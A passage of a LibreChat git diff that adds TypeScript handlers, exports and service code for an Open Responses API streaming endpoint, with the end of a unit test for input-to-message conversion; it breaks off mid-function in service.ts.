}, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([{ role: 'user', content: 'Hello' }]); + }); + + // ── Multi-turn conversation (the real-world scenario) ────────────── + it('handles a full multi-turn conversation with output_text blocks', () => { + const input: InputItem[] = [ + { + type: 'message', + role: 'developer', + content: [{ type: 'input_text', text: 'You are a helpful assistant.' }], + }, + { + type: 'message', + role: 'user', + content: [{ type: 'input_text', text: 'What is 2+2?' }], + }, + { + type: 'message', + role: 'assistant', + content: [{ type: 'output_text', text: '2+2 is 4.', annotations: [], logprobs: [] }], + }, + { + type: 'message', + role: 'user', + content: [{ type: 'input_text', text: 'And 3+3?' }], + }, + ]; + const result = convertInputToMessages(input); + expect(result).toEqual([ + { role: 'system', content: [{ type: 'text', text: 'You are a helpful assistant.' }] }, + { role: 'user', content: [{ type: 'text', text: 'What is 2+2?' }] }, + { role: 'assistant', content: [{ type: 'text', text: '2+2 is 4.' }] }, + { role: 'user', content: [{ type: 'text', text: 'And 3+3?' }] }, + ]); + }); +}); diff --git a/packages/api/src/agents/responses/handlers.ts b/packages/api/src/agents/responses/handlers.ts new file mode 100644 index 0000000000..712be852bd --- /dev/null +++ b/packages/api/src/agents/responses/handlers.ts @@ -0,0 +1,914 @@ +/** + * Open Responses API Handlers + * + * Semantic event emitters and response tracking for the Open Responses API. + * Events follow the Open Responses spec with proper lifecycle management. + */ +import type { Response as ServerResponse } from 'express'; +import type { + Response, + ResponseContext, + ResponseEvent, + OutputItem, + MessageItem, + FunctionCallItem, + FunctionCallOutputItem, + ReasoningItem, + OutputTextContent, + ReasoningTextContent, + ItemStatus, + ResponseStatus, +} from './types'; + +/* ============================================================================= + * RESPONSE TRACKER + * ============================================================================= */ + +/** + * Tracks the state of a response during streaming. + * Manages items, sequence numbers, and accumulated content. + */ +export interface ResponseTracker { + /** Current sequence number (monotonically increasing) */ + sequenceNumber: number; + /** Output items being built */ + items: OutputItem[]; + /** Current message item (if any) */ + currentMessage: MessageItem | null; + /** Current message content index */ + currentContentIndex: number; + /** Current reasoning item (if any) */ + currentReasoning: ReasoningItem | null; + /** Current reasoning content index */ + currentReasoningContentIndex: number; + /** Map of function call items by call_id */ + functionCalls: Map; + /** Map of function call outputs by call_id */ + functionCallOutputs: Map; + /** Accumulated text for current message */ + accumulatedText: string; + /** Accumulated reasoning text */ + accumulatedReasoningText: string; + /** Accumulated function call arguments by call_id */ + accumulatedArguments: Map; + /** Token usage */ + usage: { + inputTokens: number; + outputTokens: number; + reasoningTokens: number; + cachedTokens: number; + }; + /** Response status */ + status: ResponseStatus; + /** Get next sequence number */ + nextSequence: () => number; +} + +/** + * Create a new response tracker + */ +export function createResponseTracker(): ResponseTracker { + const tracker: ResponseTracker = { + sequenceNumber: 0, + items: [], + currentMessage: null, + currentContentIndex: 0, + currentReasoning: null, + currentReasoningContentIndex: 0, + functionCalls: new Map(), + functionCallOutputs: new Map(), + accumulatedText: '', + accumulatedReasoningText: '', + accumulatedArguments: new Map(), + usage: { + inputTokens: 0, + outputTokens: 0, + reasoningTokens: 0, + cachedTokens: 0, + }, + status: 'in_progress', + nextSequence: () => tracker.sequenceNumber++, + }; + return tracker; +} + +/* ============================================================================= + * SSE EVENT WRITING + * ============================================================================= */ + +/** + * Write a semantic SSE event to the response. + * The `event:` field matches the `type` in the data payload. + */ +export function writeEvent(res: ServerResponse, event: ResponseEvent): void { + res.write(`event: ${event.type}\n`); + res.write(`data: ${JSON.stringify(event)}\n\n`); +} + +/** + * Write the terminal [DONE] event + */ +export function writeDone(res: ServerResponse): void { + res.write('data: [DONE]\n\n'); +} + +/* ============================================================================= + * RESPONSE BUILDING + * ============================================================================= */ + +/** + * Build a Response object from context and tracker + * Includes all required fields per Open Responses spec + */ +export function buildResponse( + context: ResponseContext, + tracker: ResponseTracker, + status: ResponseStatus = 'in_progress', +): Response { + const isCompleted = status === 'completed'; + + return { + // Required fields + id: context.responseId, + object: 'response', + created_at: context.createdAt, + completed_at: isCompleted ? Math.floor(Date.now() / 1000) : null, + status, + incomplete_details: null, + model: context.model, + previous_response_id: context.previousResponseId ?? null, + instructions: context.instructions ?? null, + output: tracker.items, + error: null, + tools: [], + tool_choice: 'auto', + truncation: 'disabled', + parallel_tool_calls: true, + text: { format: { type: 'text' } }, + temperature: 1, + top_p: 1, + presence_penalty: 0, + frequency_penalty: 0, + top_logprobs: 0, + reasoning: null, + user: null, + usage: isCompleted + ? { + input_tokens: tracker.usage.inputTokens, + output_tokens: tracker.usage.outputTokens, + total_tokens: tracker.usage.inputTokens + tracker.usage.outputTokens, + input_tokens_details: { cached_tokens: tracker.usage.cachedTokens }, + output_tokens_details: { reasoning_tokens: tracker.usage.reasoningTokens }, + } + : null, + max_output_tokens: null, + max_tool_calls: null, + store: false, + background: false, + service_tier: 'default', + metadata: {}, + safety_identifier: null, + prompt_cache_key: null, + }; +} + +/* ============================================================================= + * ITEM BUILDERS + * ============================================================================= */ + +let itemIdCounter = 0; + +/** + * Generate a unique item ID + */ +export function generateItemId(prefix: string): string { + return `${prefix}_${Date.now().toString(36)}${(itemIdCounter++).toString(36)}`; +} + +/** + * Create a new message item + */ +export function createMessageItem(status: ItemStatus = 'in_progress'): MessageItem { + return { + type: 'message', + id: generateItemId('msg'), + role: 'assistant', + status, + content: [], + }; +} + +/** + * Create a new function call item + */ +export function createFunctionCallItem( + callId: string, + name: string, + status: ItemStatus = 'in_progress', +): FunctionCallItem { + return { + type: 'function_call', + id: generateItemId('fc'), + call_id: callId, + name, + arguments: '', + status, + }; +} + +/** + * Create a new function call output item + */ +export function createFunctionCallOutputItem( + callId: string, + output: string, + status: ItemStatus = 'completed', +): FunctionCallOutputItem { + return { + type: 'function_call_output', + id: generateItemId('fco'), + call_id: callId, + output, + status, + }; +} + +/** + * Create a new reasoning item + */ +export function createReasoningItem(status: ItemStatus = 'in_progress'): ReasoningItem { + return { + type: 'reasoning', + id: generateItemId('reason'), + status, + content: [], + summary: [], + }; +} + +/** + * Create output text content + */ +export function createOutputTextContent(text: string = ''): OutputTextContent { + return { + type: 'output_text', + text, + annotations: [], + logprobs: [], + }; +} + +/** + * Create reasoning text content + */ +export function createReasoningTextContent(text: string = ''): ReasoningTextContent { + return { + type: 'reasoning_text', + text, + }; +} + +/* ============================================================================= + * STREAMING EVENT EMITTERS + * ============================================================================= */ + +export interface StreamHandlerConfig { + res: ServerResponse; + context: ResponseContext; + tracker: ResponseTracker; +} + +/** + * Emit response.created event + * This is the first event emitted per the Open Responses spec + */ +export function emitResponseCreated(config: StreamHandlerConfig): void { + const { res, context, tracker } = config; + const response = buildResponse(context, tracker, 'in_progress'); + writeEvent(res, { + type: 'response.created', + sequence_number: tracker.nextSequence(), + response, + }); +} + +/** + * Emit response.in_progress event + */ +export function emitResponseInProgress(config: StreamHandlerConfig): void { + const { res, context, tracker } = config; + const response = buildResponse(context, tracker, 'in_progress'); + writeEvent(res, { + type: 'response.in_progress', + sequence_number: tracker.nextSequence(), + response, + }); +} + +/** + * Emit response.completed event + */ +export function emitResponseCompleted(config: StreamHandlerConfig): void { + const { res, context, tracker } = config; + tracker.status = 'completed'; + const response = buildResponse(context, tracker, 'completed'); + writeEvent(res, { + type: 'response.completed', + sequence_number: tracker.nextSequence(), + response, + }); +} + +/** + * Emit response.failed event + */ +export function emitResponseFailed( + config: StreamHandlerConfig, + error: { type: string; message: string; code?: string }, +): void { + const { res, context, tracker } = config; + tracker.status = 'failed'; + const response = buildResponse(context, tracker, 'failed'); + response.error = { + type: error.type as + | 'server_error' + | 'invalid_request' + | 'not_found' + | 'model_error' + | 'too_many_requests', + message: error.message, + code: error.code, + }; + writeEvent(res, { + type: 'response.failed', + sequence_number: tracker.nextSequence(), + response, + }); +} + +/** + * Emit response.output_item.added event for a message + */ +export function emitMessageItemAdded(config: StreamHandlerConfig): MessageItem { + const { res, tracker } = config; + const item = createMessageItem('in_progress'); + tracker.currentMessage = item; + tracker.currentContentIndex = 0; + tracker.accumulatedText = ''; + tracker.items.push(item); + + writeEvent(res, { + type: 'response.output_item.added', + sequence_number: tracker.nextSequence(), + output_index: tracker.items.length - 1, + item, + }); + + return item; +} + +/** + * Emit response.output_item.done event for a message + */ +export function emitMessageItemDone(config: StreamHandlerConfig): void { + const { res, tracker } = config; + if (!tracker.currentMessage) { + return; + } + + tracker.currentMessage.status = 'completed'; + const outputIndex = tracker.items.indexOf(tracker.currentMessage); + + writeEvent(res, { + type: 'response.output_item.done', + sequence_number: tracker.nextSequence(), + output_index: outputIndex, + item: tracker.currentMessage, + }); + + tracker.currentMessage = null; +} + +/** + * Emit response.content_part.added for text content + */ +export function emitTextContentPartAdded(config: StreamHandlerConfig): void { + const { res, tracker } = config; + if (!tracker.currentMessage) { + return; + } + + const part = createOutputTextContent(''); + tracker.currentMessage.content.push(part); + const outputIndex = tracker.items.indexOf(tracker.currentMessage); + + writeEvent(res, { + type: 'response.content_part.added', + sequence_number: tracker.nextSequence(), + item_id: tracker.currentMessage.id, + output_index: outputIndex, + content_index: tracker.currentContentIndex, + part, + }); +} + +/** + * Emit response.output_text.delta event + */ +export function emitOutputTextDelta(config: StreamHandlerConfig, delta: string): void { + const { res, tracker } = config; + if (!tracker.currentMessage) { + return; + } + + tracker.accumulatedText += delta; + const outputIndex = tracker.items.indexOf(tracker.currentMessage); + + writeEvent(res, { + type: 'response.output_text.delta', + sequence_number: tracker.nextSequence(), + item_id: tracker.currentMessage.id, + output_index: outputIndex, + content_index: tracker.currentContentIndex, + delta, + logprobs: [], + }); +} + +/** + * Emit response.output_text.done event + */ +export function emitOutputTextDone(config: StreamHandlerConfig): void { + const { res, tracker } = config; + if (!tracker.currentMessage) { + return; + } + + const outputIndex = tracker.items.indexOf(tracker.currentMessage); + const contentIndex = tracker.currentContentIndex; + + // Update the content part with final text + if (tracker.currentMessage.content[contentIndex]) { + (tracker.currentMessage.content[contentIndex] as OutputTextContent).text = + tracker.accumulatedText; + } + + writeEvent(res, { + type: 'response.output_text.done', + sequence_number: tracker.nextSequence(), + item_id: tracker.currentMessage.id, + output_index: outputIndex, + content_index: contentIndex, + text: tracker.accumulatedText, + logprobs: [], + }); +} + +/** + * Emit response.content_part.done for text content + */ +export function emitTextContentPartDone(config: StreamHandlerConfig): void { + const { res, tracker } = config; + if (!tracker.currentMessage) { + return; + } + + const outputIndex = tracker.items.indexOf(tracker.currentMessage); + const contentIndex = tracker.currentContentIndex; + const part = tracker.currentMessage.content[contentIndex]; + + if (part) { + writeEvent(res, { + type: 'response.content_part.done', + sequence_number: tracker.nextSequence(), + item_id: tracker.currentMessage.id, + output_index: outputIndex, + content_index: contentIndex, + part, + }); + } + + tracker.currentContentIndex++; +} + +/* ============================================================================= + * FUNCTION CALL EVENT EMITTERS + * ============================================================================= */ + +/** + * Emit response.output_item.added for a function call + */ +export function emitFunctionCallItemAdded( + config: StreamHandlerConfig, + callId: string, + name: string, +): FunctionCallItem { + const { res, tracker } = config; + const item = createFunctionCallItem(callId, name, 'in_progress'); + tracker.functionCalls.set(callId, item); + tracker.accumulatedArguments.set(callId, ''); + tracker.items.push(item); + + writeEvent(res, { + type: 'response.output_item.added', + sequence_number: tracker.nextSequence(), + output_index: tracker.items.length - 1, + item, + }); + + return item; +} + +/** + * Emit response.function_call_arguments.delta event + */ +export function emitFunctionCallArgumentsDelta( + config: StreamHandlerConfig, + callId: string, + delta: string, +): void { + const { res, tracker } = config; + const item = tracker.functionCalls.get(callId); + if (!item) { + return; + } + + const accumulated = (tracker.accumulatedArguments.get(callId) ?? '') + delta; + tracker.accumulatedArguments.set(callId, accumulated); + item.arguments = accumulated; + + const outputIndex = tracker.items.indexOf(item); + + writeEvent(res, { + type: 'response.function_call_arguments.delta', + sequence_number: tracker.nextSequence(), + item_id: item.id, + output_index: outputIndex, + call_id: callId, + delta, + }); +} + +/** + * Emit response.function_call_arguments.done event + */ +export function emitFunctionCallArgumentsDone(config: StreamHandlerConfig, callId: string): void { + const { res, tracker } = config; + const item = tracker.functionCalls.get(callId); + if (!item) { + return; + } + + const outputIndex = tracker.items.indexOf(item); + const args = tracker.accumulatedArguments.get(callId) ?? ''; + + writeEvent(res, { + type: 'response.function_call_arguments.done', + sequence_number: tracker.nextSequence(), + item_id: item.id, + output_index: outputIndex, + call_id: callId, + arguments: args, + }); +} + +/** + * Emit response.output_item.done for a function call + */ +export function emitFunctionCallItemDone(config: StreamHandlerConfig, callId: string): void { + const { res, tracker } = config; + const item = tracker.functionCalls.get(callId); + if (!item) { + return; + } + + item.status = 'completed'; + const outputIndex = tracker.items.indexOf(item); + + writeEvent(res, { + type: 'response.output_item.done', + sequence_number: tracker.nextSequence(), + output_index: outputIndex, + item, + }); +} + +/** + * Emit function call output item (internal tool result) + */ +export function emitFunctionCallOutputItem( + config: StreamHandlerConfig, + callId: string, + output: string, +): void { + const { res, tracker } = config; + const item = createFunctionCallOutputItem(callId, output, 'completed'); + tracker.functionCallOutputs.set(callId, item); + tracker.items.push(item); + + // Emit added + writeEvent(res, { + type: 'response.output_item.added', + sequence_number: tracker.nextSequence(), + output_index: tracker.items.length - 1, + item, + }); + + // Immediately emit done since it's already complete + writeEvent(res, { + type: 'response.output_item.done', + sequence_number: tracker.nextSequence(), + output_index: tracker.items.length - 1, + item, + }); +} + +/* ============================================================================= + * REASONING EVENT EMITTERS + * ============================================================================= */ + +/** + * Emit response.output_item.added for reasoning + */ +export function emitReasoningItemAdded(config: StreamHandlerConfig): ReasoningItem { + const { res, tracker } = config; + const item = createReasoningItem('in_progress'); + tracker.currentReasoning = item; + tracker.currentReasoningContentIndex = 0; + tracker.accumulatedReasoningText = ''; + tracker.items.push(item); + + writeEvent(res, { + type: 'response.output_item.added', + sequence_number: tracker.nextSequence(), + output_index: tracker.items.length - 1, + item, + }); + + return item; +} + +/** + * Emit response.content_part.added for reasoning + */ +export function emitReasoningContentPartAdded(config: StreamHandlerConfig): void { + const { res, tracker } = config; + if (!tracker.currentReasoning) { + return; + } + + const part = createReasoningTextContent(''); + if (!tracker.currentReasoning.content) { + tracker.currentReasoning.content = []; + } + tracker.currentReasoning.content.push(part); + const outputIndex = tracker.items.indexOf(tracker.currentReasoning); + + writeEvent(res, { + type: 'response.content_part.added', + sequence_number: tracker.nextSequence(), + item_id: tracker.currentReasoning.id, + output_index: outputIndex, + content_index: tracker.currentReasoningContentIndex, + part, + }); +} + +/** + * Emit response.reasoning.delta event + */ +export function emitReasoningDelta(config: StreamHandlerConfig, delta: string): void { + const { res, tracker } = config; + if (!tracker.currentReasoning) { + return; + } + + tracker.accumulatedReasoningText += delta; + const outputIndex = tracker.items.indexOf(tracker.currentReasoning); + + writeEvent(res, { + type: 'response.reasoning.delta', + sequence_number: tracker.nextSequence(), + item_id: tracker.currentReasoning.id, + output_index: outputIndex, + content_index: tracker.currentReasoningContentIndex, + delta, + }); +} + +/** + * Emit response.reasoning.done event + */ +export function emitReasoningDone(config: StreamHandlerConfig): void { + const { res, tracker } = config; + if (!tracker.currentReasoning || !tracker.currentReasoning.content) { + return; + } + + const outputIndex = tracker.items.indexOf(tracker.currentReasoning); + const contentIndex = tracker.currentReasoningContentIndex; + + // Update the content part with final text + if (tracker.currentReasoning.content[contentIndex]) { + (tracker.currentReasoning.content[contentIndex] as ReasoningTextContent).text = + tracker.accumulatedReasoningText; + } + + writeEvent(res, { + type: 'response.reasoning.done', + sequence_number: tracker.nextSequence(), + item_id: tracker.currentReasoning.id, + output_index: outputIndex, + content_index: contentIndex, + text: tracker.accumulatedReasoningText, + }); +} + +/** + * Emit response.content_part.done for reasoning + */ +export function emitReasoningContentPartDone(config: StreamHandlerConfig): void { + const { res, tracker } = config; + if (!tracker.currentReasoning || !tracker.currentReasoning.content) { + return; + } + + const outputIndex = tracker.items.indexOf(tracker.currentReasoning); + const contentIndex = tracker.currentReasoningContentIndex; + const part = tracker.currentReasoning.content[contentIndex]; + + if (part) { + writeEvent(res, { + type: 'response.content_part.done', + sequence_number: tracker.nextSequence(), + item_id: tracker.currentReasoning.id, + output_index: outputIndex, + content_index: contentIndex, + part, + }); + } + + tracker.currentReasoningContentIndex++; +} + +/** + * Emit response.output_item.done for reasoning + */ +export function emitReasoningItemDone(config: StreamHandlerConfig): void { + const { res, tracker } = config; + if (!tracker.currentReasoning) { + return; + } + + tracker.currentReasoning.status = 'completed'; + const outputIndex = tracker.items.indexOf(tracker.currentReasoning); + + writeEvent(res, { + type: 'response.output_item.done', + sequence_number: tracker.nextSequence(), + output_index: outputIndex, + item: tracker.currentReasoning, + }); + + tracker.currentReasoning = null; +} + +/* ============================================================================= + * ERROR HANDLING + * ============================================================================= */ + +/** + * Emit error event + */ +export function emitError( + config: StreamHandlerConfig, + error: { type: string; message: string; code?: string }, +): void { + const { res, tracker } = config; + + writeEvent(res, { + type: 'error', + sequence_number: tracker.nextSequence(), + error: { + type: error.type as 'server_error', + message: error.message, + code: error.code, + }, + }); +} + +/* ============================================================================= + * LIBRECHAT EXTENSION EVENTS + * Custom events prefixed with 'librechat:' per Open Responses spec + * @see https://openresponses.org/specification#extending-streaming-events + * ============================================================================= */ + +/** + * Attachment data for librechat:attachment events + */ +export interface AttachmentData { + /** File ID in LibreChat storage */ + file_id?: string; + /** Original filename */ + filename?: string; + /** MIME type */ + type?: string; + /** URL to access the file */ + url?: string; + /** Base64-encoded image data (for inline images) */ + image_url?: string; + /** Width for images */ + width?: number; + /** Height for images */ + height?: number; + /** Associated tool call ID */ + tool_call_id?: string; + /** Additional metadata */ + [key: string]: unknown; +} + +/** + * Emit librechat:attachment event for file/image attachments + * This is a LibreChat extension to the Open Responses streaming protocol. + * External clients can safely ignore these events. + */ +export function emitAttachment( + config: StreamHandlerConfig, + attachment: AttachmentData, + options?: { + messageId?: string; + conversationId?: string; + }, +): void { + const { res, tracker } = config; + + writeEvent(res, { + type: 'librechat:attachment', + sequence_number: tracker.nextSequence(), + attachment, + message_id: options?.messageId, + conversation_id: options?.conversationId, + }); +} + +/** + * Write attachment event directly to response (for use outside streaming context) + * Useful when attachment processing happens asynchronously + */ +export function writeAttachmentEvent( + res: ServerResponse, + sequenceNumber: number, + attachment: AttachmentData, + options?: { + messageId?: string; + conversationId?: string; + }, +): void { + writeEvent(res, { + type: 'librechat:attachment', + sequence_number: sequenceNumber, + attachment, + message_id: options?.messageId, + conversation_id: options?.conversationId, + }); +} + +/* ============================================================================= + * NON-STREAMING RESPONSE BUILDER + * ============================================================================= */ + +/** + * Build a complete non-streaming response + */ +export function buildResponsesNonStreamingResponse( + context: ResponseContext, + tracker: ResponseTracker, +): Response { + return buildResponse(context, tracker, 'completed'); +} + +/** + * Update tracker usage from collected data + */ +export function updateTrackerUsage( + tracker: ResponseTracker, + usage: { + promptTokens?: number; + completionTokens?: number; + reasoningTokens?: number; + cachedTokens?: number; + }, +): void { + if (usage.promptTokens != null) { + tracker.usage.inputTokens = usage.promptTokens; + } + if (usage.completionTokens != null) { + tracker.usage.outputTokens = usage.completionTokens; + } + if (usage.reasoningTokens != null) { + tracker.usage.reasoningTokens = usage.reasoningTokens; + } + if (usage.cachedTokens != null) { + tracker.usage.cachedTokens = usage.cachedTokens; + } +} diff --git a/packages/api/src/agents/responses/index.ts b/packages/api/src/agents/responses/index.ts new file mode 100644 index 0000000000..ecfb1c2047 --- /dev/null +++ b/packages/api/src/agents/responses/index.ts @@ -0,0 +1,183 @@ +/** + * Open Responses API Module + * + * Exports for the Open Responses API implementation. + * @see https://openresponses.org/specification + */ + +// Types +export type { + // Enums + ItemStatus, + ResponseStatus, + MessageRole, + ToolChoiceValue, + TruncationValue, + ServiceTier, + ReasoningEffort, + ReasoningSummary, + // Input content + InputTextContent, + InputImageContent, + InputFileContent, + InputContent, + // Output content + LogProb, + TopLogProb, + OutputTextContent, + RefusalContent, + ModelContent, + // Annotations + UrlCitationAnnotation, + FileCitationAnnotation, + Annotation, + // Reasoning content + ReasoningTextContent, + SummaryTextContent, + ReasoningContent, + // Input items + SystemMessageItemParam, + DeveloperMessageItemParam, + UserMessageItemParam, + AssistantMessageItemParam, + FunctionCallItemParam, + FunctionCallOutputItemParam, + ReasoningItemParam, + ItemReferenceParam, + InputItem, + // Output items + MessageItem, + FunctionCallItem, + FunctionCallOutputItem, + ReasoningItem, + OutputItem, + // Tools + FunctionTool, + HostedTool, + Tool, + FunctionToolChoice, + ToolChoice, + // Request + ReasoningConfig, + TextConfig, + StreamOptions, + Metadata, + ResponseRequest, + // Response field types + TextField, + // Response + InputTokensDetails, + OutputTokensDetails, + Usage, + IncompleteDetails, + ResponseError, + Response, + // Streaming events + BaseEvent, + ResponseCreatedEvent, + ResponseInProgressEvent, + ResponseCompletedEvent, + ResponseFailedEvent, + ResponseIncompleteEvent, + OutputItemAddedEvent, + OutputItemDoneEvent, + ContentPartAddedEvent, + ContentPartDoneEvent, + OutputTextDeltaEvent, + OutputTextDoneEvent, + RefusalDeltaEvent, + RefusalDoneEvent, + FunctionCallArgumentsDeltaEvent, + FunctionCallArgumentsDoneEvent, + ReasoningDeltaEvent, + ReasoningDoneEvent, + ErrorEvent, + ResponseEvent, + // LibreChat extensions + LibreChatAttachmentContent, + LibreChatAttachmentEvent, + // Internal + ResponseContext, + RequestValidationResult, +} from './types'; + +// Handlers +export { + // Tracker + createResponseTracker, + type ResponseTracker, + // SSE + writeEvent, + writeDone, + // Response building + buildResponse, + // Item builders + generateItemId, + createMessageItem, + createFunctionCallItem, + createFunctionCallOutputItem, + createReasoningItem, + createOutputTextContent, + createReasoningTextContent, + // Stream config + type StreamHandlerConfig, + // Response events + emitResponseCreated, + emitResponseInProgress, + emitResponseCompleted, + emitResponseFailed, + // Message events + emitMessageItemAdded, + emitMessageItemDone, + emitTextContentPartAdded, + emitOutputTextDelta, + emitOutputTextDone, + emitTextContentPartDone, + // Function call events + emitFunctionCallItemAdded, + emitFunctionCallArgumentsDelta, + emitFunctionCallArgumentsDone, + emitFunctionCallItemDone, + emitFunctionCallOutputItem, + // Reasoning events + emitReasoningItemAdded, + emitReasoningContentPartAdded, + emitReasoningDelta, + emitReasoningDone, + emitReasoningContentPartDone, + emitReasoningItemDone, + // Error events + emitError, + // LibreChat extension events + emitAttachment, + writeAttachmentEvent, + type AttachmentData, + // Non-streaming + buildResponsesNonStreamingResponse, + updateTrackerUsage, +} from './handlers'; + +// Service +export { + // Validation + validateResponseRequest, + isValidationFailure, + // Input conversion + convertInputToMessages, + mergeMessagesWithInput, + type InternalMessage, + // Error response + sendResponsesErrorResponse, + // Context + generateResponseId, + createResponseContext, + // Streaming setup + setupStreamingResponse, + // Event handlers + createResponsesEventHandlers, + // Non-streaming + createResponseAggregator, + buildAggregatedResponse, + createAggregatorEventHandlers, + type ResponseAggregator, +} from './service'; diff --git a/packages/api/src/agents/responses/service.ts b/packages/api/src/agents/responses/service.ts new file mode 100644 index 0000000000..2e49b1b979 --- /dev/null +++ b/packages/api/src/agents/responses/service.ts @@ -0,0 +1,880 @@ +/** + * Open Responses API Service + * + * Core service for processing Open Responses API requests. + * Handles input conversion, message formatting, and request validation. + */ +import type { Response as ServerResponse } from 'express'; +import type { + RequestValidationResult, + ResponseRequest, + ResponseContext, + InputContent, + ModelContent, + InputItem, + Response, +} from './types'; +import { + writeDone, + emitResponseCompleted, + emitMessageItemAdded, + emitMessageItemDone, + emitTextContentPartAdded, + emitOutputTextDelta, + emitOutputTextDone, + emitTextContentPartDone, + emitFunctionCallItemAdded, + emitFunctionCallArgumentsDelta, + emitFunctionCallArgumentsDone, + emitFunctionCallItemDone, + emitFunctionCallOutputItem, + emitReasoningItemAdded, + emitReasoningContentPartAdded, + emitReasoningDelta, + emitReasoningDone, + emitReasoningContentPartDone, + emitReasoningItemDone, + updateTrackerUsage, + type StreamHandlerConfig, +} from './handlers'; + +/* ============================================================================= + * REQUEST VALIDATION + * ============================================================================= */ + +/** + * Validate a request body + */ +export function validateResponseRequest(body: unknown): RequestValidationResult { + if (!body || typeof body !== 'object') { + return { valid: false, error: 'Request body is required' }; + } + + const request = body as Record; + + // Required: model + if (!request.model || typeof request.model !== 'string') { + return { valid: false, error: 'model is required and must be a string' }; + } + + // Required: input (string or array) + if (request.input === undefined || request.input === null) { + return { valid: false, error: 'input is required' }; + } + + if (typeof request.input !== 'string' && !Array.isArray(request.input)) { + return { valid: false, error: 'input must be a string or array of items' }; + } + + // Optional validations + if (request.stream !== undefined && typeof request.stream !== 'boolean') { + return { valid: false, error: 'stream must be a boolean' }; + } + + if (request.temperature !== undefined) { + const temp = request.temperature as number; + if (typeof temp !== 'number' || temp < 0 || temp > 2) { + return { valid: false, error: 'temperature must be a number between 0 and 2' }; + } + } + + if (request.max_output_tokens !== undefined) { + if (typeof request.max_output_tokens !== 'number' || request.max_output_tokens < 1) { + return { valid: false, error: 'max_output_tokens must be a positive number' }; + } + } + + return { valid: true, request: request as unknown as ResponseRequest }; +} + +/** + * Check if validation failed + */ +export function isValidationFailure( + result: RequestValidationResult, +): result is { valid: false; error: string } { + return !result.valid; +} + +/* ============================================================================= + * INPUT CONVERSION + * ============================================================================= */ + +/** Internal message format (LibreChat-compatible) */ +export interface InternalMessage { + role: 'system' | 'user' | 'assistant' | 'tool'; + content: string | Array<{ type: string; text?: string; image_url?: unknown }>; + name?: string; + tool_call_id?: string; + tool_calls?: Array<{ + id: string; + type: 'function'; + function: { name: string; arguments: string }; + }>; +} + +/** + * Convert Open Responses input to internal message format. + * Handles both string input and array of items. + */ +export function convertInputToMessages(input: string | InputItem[]): InternalMessage[] { + // Simple string input becomes a user message + if (typeof input === 'string') { + return [{ role: 'user', content: input }]; + } + + const messages: InternalMessage[] = []; + + for (const item of input) { + if (item.type === 'item_reference') { + // Skip item references - they're handled by previous_response_id + continue; + } + + if (item.type === 'message') { + const messageItem = item as { + type: 'message'; + role: string; + content: string | (InputContent | ModelContent)[]; + }; + + let content: InternalMessage['content']; + + if (typeof messageItem.content === 'string') { + content = messageItem.content; + } else if (Array.isArray(messageItem.content)) { + content = messageItem.content + .filter((part): part is InputContent | ModelContent => part != null) + .map((part) => { + if (part.type === 'input_text' || part.type === 'output_text') { + return { type: 'text', text: (part as { text?: string }).text ?? '' }; + } + if (part.type === 'refusal') { + return { type: 'text', text: (part as { refusal?: string }).refusal ?? '' }; + } + if (part.type === 'input_image') { + return { + type: 'image_url', + image_url: { + url: (part as { image_url?: string }).image_url, + detail: (part as { detail?: string }).detail, + }, + }; + } + if (part.type === 'input_file') { + const filePart = part as { filename?: string }; + return { type: 'text', text: `[File: ${filePart.filename ?? 'unknown'}]` }; + } + return null; + }) + .filter((part): part is NonNullable => part != null); + } else { + content = ''; + } + + // Map developer role to system (LibreChat convention) + let role: InternalMessage['role']; + if (messageItem.role === 'developer') { + role = 'system'; + } else if (messageItem.role === 'user') { + role = 'user'; + } else if (messageItem.role === 'assistant') { + role = 'assistant'; + } else if (messageItem.role === 'system') { + role = 'system'; + } else { + role = 'user'; + } + + messages.push({ role, content }); + } + + if (item.type === 'function_call') { + // Function call items represent prior tool calls from assistant + const fcItem = item as { + type: 'function_call'; + call_id: string; + name: string; + arguments: string; + }; + + // Add as assistant message with tool_calls + messages.push({ + role: 'assistant', + content: '', + tool_calls: [ + { + id: fcItem.call_id, + type: 'function', + function: { name: fcItem.name, arguments: fcItem.arguments }, + }, + ], + }); + } + + if (item.type === 'function_call_output') { + // Function call output items represent tool results + const fcoItem = item as { type: 'function_call_output'; call_id: string; output: string }; + + messages.push({ + role: 'tool', + content: fcoItem.output, + tool_call_id: fcoItem.call_id, + }); + } + + // Reasoning items are typically not passed back as input + // They're model-generated and may be encrypted + } + + return messages; +} + +/** + * Merge previous conversation messages with new input + */ +export function mergeMessagesWithInput( + previousMessages: InternalMessage[], + newInput: InternalMessage[], +): InternalMessage[] { + return [...previousMessages, ...newInput]; +} + +/* ============================================================================= + * ERROR RESPONSE + * ============================================================================= */ + +/** + * Send an error response in Open Responses format + */ +export function sendResponsesErrorResponse( + res: ServerResponse, + statusCode: number, + message: string, + type: string = 'invalid_request', + code?: string, +): void { + res.status(statusCode).json({ + error: { + type, + message, + code: code ?? null, + param: null, + }, + }); +} + +/* ============================================================================= + * RESPONSE CONTEXT + * ============================================================================= */ + +/** + * Generate a unique response ID + */ +export function generateResponseId(): string { + return `resp_${Date.now().toString(36)}${Math.random().toString(36).substring(2, 8)}`; +} + +/** + * Create a response context from request + */ +export function createResponseContext( + request: ResponseRequest, + responseId?: string, +): ResponseContext { + return { + responseId: responseId ?? generateResponseId(), + model: request.model, + createdAt: Math.floor(Date.now() / 1000), + previousResponseId: request.previous_response_id, + instructions: request.instructions, + }; +} + +/* ============================================================================= + * STREAMING SETUP + * ============================================================================= */ + +/** + * Set up streaming response headers + */ +export function setupStreamingResponse(res: ServerResponse): void { + res.setHeader('Content-Type', 'text/event-stream'); + res.setHeader('Cache-Control', 'no-cache'); + res.setHeader('Connection', 'keep-alive'); + res.setHeader('X-Accel-Buffering', 'no'); + res.flushHeaders(); +} + +/* ============================================================================= + * STREAM HANDLER FACTORY + * ============================================================================= */ + +/** + * State for tracking streaming progress + */ +interface StreamState { + messageStarted: boolean; + messageContentStarted: boolean; + reasoningStarted: boolean; + reasoningContentStarted: boolean; + activeToolCalls: Set; + completedToolCalls: Set; +} + +/** + * Create LibreChat event handlers that emit Open Responses events + */ +export function createResponsesEventHandlers(config: StreamHandlerConfig): { + handlers: Record void }>; + state: StreamState; + finalizeStream: () => void; +} { + const state: StreamState = { + messageStarted: false, + messageContentStarted: false, + reasoningStarted: false, + reasoningContentStarted: false, + activeToolCalls: new Set(), + completedToolCalls: new Set(), + }; + + /** + * Ensure message item is started + */ + const ensureMessageStarted = (): void => { + if (!state.messageStarted) { + emitMessageItemAdded(config); + 